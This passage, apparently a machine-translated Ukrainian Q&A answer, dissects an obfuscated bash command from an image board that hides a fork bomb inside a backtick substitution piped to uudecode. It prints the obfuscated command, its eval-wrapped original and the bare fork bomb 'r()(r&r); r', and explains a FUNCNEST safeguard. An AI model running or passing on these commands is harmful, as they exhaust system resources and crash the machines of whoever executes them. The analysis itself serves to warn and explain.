Спочатку розглянемо всю команду:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Він містить рядок з подвійним котируванням, який перегукується uudecode
. Але, зверніть увагу , що в рядку в подвійних лапках є зворотній лапки рядок. Цей рядок виконується . Рядок:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Якщо ми подивимось на те, що в ньому, ми побачимо три команди:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Виконуючи розширення дужок у середній команді, ми маємо:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Перший рядок намагається виконати команду дурниць у фоновому режимі. Це неважливо.
Другий рядок важливий: він визначає функцію, r
яка при запуску запускає дві копії себе. Кожна з цих копій, звичайно, випустила б ще два екземпляри. І так далі.
Третя лінія проходить r
, починаючи вилкову бомбу.
Решта коду, що знаходиться поза рядком, цитованим у зворотному списку, - це просто нісенітниця для придушення.
Як безпечно запустити команду
Цей код можна запустити безпечно, якщо встановити обмеження на рівні вкладення функції. Це можна зробити за допомогою FUNCNEST
змінної bash . Тут ми встановлюємо це, 2
і це зупиняє рекурсію:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Повідомлення про помилки, наведені вище, показують, що (a) нісенітницькі команди rYWdl
і Y29j
їх не знайдено, (b) вилка бомба неодноразово зупиняється FUNCNEST, і (c) вихід echo
не починається з begin
і, отже, не є дійсним введенням для uudecode
.
Вилка бомба в найпростішому вигляді
Як виглядала б вилка бомба, якби ми зняли затемнення? Як підказують njzk2 та gerrit, це виглядатиме так:
echo "`r()(r&r);r`"
Ми можемо ще більше спростити це:
r()(r&r); r
Він складається з двох тверджень: один визначає функцію fork-bomb, r
а другий виконує r
.
Весь інший код, у тому числі труба до uudecode
, був лише для затемнення та неправильного спрямування.
Первісна форма мала ще один шар помилок
ОП надало посилання на обговорення ради, на якій цей код з'явився. Як представлено там, код виглядав так:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Помітьте один із перших коментарів щодо цього коду:
Я за це впав. Скопіював лише ту частину, яка перегукується та розшифровує, але все-таки отримала розгорнуту форму
У формі на дошці chann можна було б наївно думати, що проблемою буде eval
заява, що працює на виході uudecode
. Це призвело б до думки, що видалення eval
вирішить проблему. Як ми бачили вище, це хибно і небезпечно.